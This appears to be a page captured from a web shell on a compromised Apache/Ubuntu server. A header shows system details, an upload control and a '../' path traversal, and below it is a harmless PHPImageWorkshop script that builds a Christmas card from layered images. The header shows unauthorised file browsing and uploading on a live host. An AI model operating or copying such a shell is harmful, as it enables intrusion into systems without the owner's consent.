( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/..//tmpr/..//tmpr/../tmpr/../tmpr/../tmpr/../superLayer/postcard.php
<?php
require 'vendor/autoload.php';
use PHPImageWorkshop\ImageWorkshop;
// #1: We create our document, which have the troll picture on its background

$document = ImageWorkshop::initFromPath(__DIR__.'/merry/troll-by-sybio.jpg');

// #2: We open the trees as layers, and create the left group containing 2 firs
$firLayer1 = ImageWorkshop::initFromPath(__DIR__.'/merry/fir1.png');

$firLayer2 = ImageWorkshop::initFromPath(__DIR__.'/merry/fir2.png');

// Here, we clone both fir layers to use them for a second group (step 3)
$firLayer3 = clone $firLayer1;
$firLayer4 = clone $firLayer2;

// We resize the second tree which must be smaller than the first
$firLayer2->resizeInPercent(65, 65);

// We initialize group which will contains 2 firs
$firGroup1 = ImageWorkshop::initVirginLayer($firLayer1->getWidth() + $firLayer2->getWidth(), $firLayer1->getHeight());

// We add the 2 trees at different position in the group
$firGroup1->addLayer(1, $firLayer1);
$firGroup1->addLayer(1, $firLayer2, round($firLayer1->getWidth() * 0.55), 0, 'LB');

// We want a height of 409px for the group
$firGroup1->resizeInPixel(null, 409, true);

// We add the group at the left bottom of our card
$document->addLayer(1, $firGroup1, -105, -10, 'LB');

// #3: We create the right group containing 2 firs too

$firLayer3->resizeInPixel(244, null, true);
$firLayer4->resizeInPixel(345, null, true);

// Then we create a second group of fir
$firGroup2 = ImageWorkshop::initVirginLayer($firLayer3->getWidth() + $firLayer4->getWidth(), $firLayer4->getHeight());

// we add the firs in the second group
$firGroup2->addLayer(1, $firLayer4);
$firGroup2->addLayer(2, $firLayer3, round($firLayer4->getWidth() * 0.57), 0, 'LB');

// we resize the second fir group
$firGroup2->resizeInPixel(null, 345, true);

// We add the second group at the right bottom position of our card
$document->addLayer(2, $firGroup2, -160, -10, 'RB');

// #4: We create and add the stars layer on the document
// We want the star at the top of the document, and roughly at the 3/4 of the document

$starLayer = ImageWorkshop::initFromPath(__DIR__.'/merry/stars.png');

$document->addLayer(3, $starLayer, round($document->getWidth() * 0.75), 0);

// #5: We create a group that contain the message of our card, to play, $brushstroke1Layer will be our group
$brushstroke1Layer = ImageWorkshop::initFromPath(__DIR__.'/merry/brushstroke1.png');

$brushstroke2Layer = ImageWorkshop::initFromPath(__DIR__.'/merry/brushstroke2.png');

$sentenceLayer = ImageWorkshop::initFromPath(__DIR__.'/merry/text.png');

// The card creator name layer (this is a text layer)
$textLayer = ImageWorkshop::initTextLayer('Sybio', 'merry/garfield.ttf', 14, 'ffffff', 0);

// Adding the name of the card creator
$brushstroke2Layer->addLayer(1, $textLayer, 25, 13);

// Adding the $brushstroke2Layer on $brushstroke1Layer
$brushstroke1Layer->addLayer(1, $brushstroke2Layer, 0, 53, 'MT');

// Adding the message image on the top of $brushstroke1Layer
$brushstroke1Layer->addLayer(2, $sentenceLayer, -10, 20, 'MT');

// We add the group $brushstroke1Layer on the document
$document->addLayer(4, $brushstroke1Layer, 0, 425, 'MT');

// #6: We create and add the flakes layer on the document

$flakesLayer = ImageWorkshop::initFromPath(__DIR__.'/merry/snowflakes.png');

$document->addLayer(5, $flakesLayer);

// #7: God, we forgot the red border... which must be behind all the decoration (at level 1) !
// Don't worry, ImageWorkshop is flexible
// We will create the border image and then insert it in the document before all the decoration layer levels
// So we will insert it at the first level (level 1)
// We want a border of 25px

// We initialize a layer which have a transparent background image
$borderLayer = ImageWorkshop::initVirginLayer($document->getWidth(), $document->getHeight()); // This layer will have the width and height of the document

$borderWide = 25;
$borderColor = "be0a0b";

$horizontalBorderLayer = ImageWorkshop::initVirginLayer($document->getWidth(), $borderWide, $borderColor);

$verticalBorderLayer = ImageWorkshop::initVirginLayer($borderWide, $document->getHeight(), $borderColor);

// Then we add 2 horizontal borders, on the top and the bottom of the borderLayer
// and 2 vertical borders on the left and right of the borderLayer
$borderLayer->addLayer(1, $horizontalBorderLayer, 0, 0);
$borderLayer->addLayer(2, $horizontalBorderLayer, 0, 0, 'LB');
$borderLayer->addLayer(3, $verticalBorderLayer, 0, 0);
$borderLayer->addLayer(4, $verticalBorderLayer, 0, 0, 'RT');

// Finally, we add the borderLayer on our document
// But we will place it at the first level of the document !!!!
// By doing this, all our layers contained in the document will be
// shifted by one level

$document->addLayer(1, $borderLayer);

// #8: Resizing the document

$document->resizeInPixel(640, null, true);

// Showing the christmas card
$image = $document->getResult("ffffff");

header('Content-type: image/jpeg');

imagejpeg($image, null, 95); // We choose to show a JPEG with a quality of 95%
?>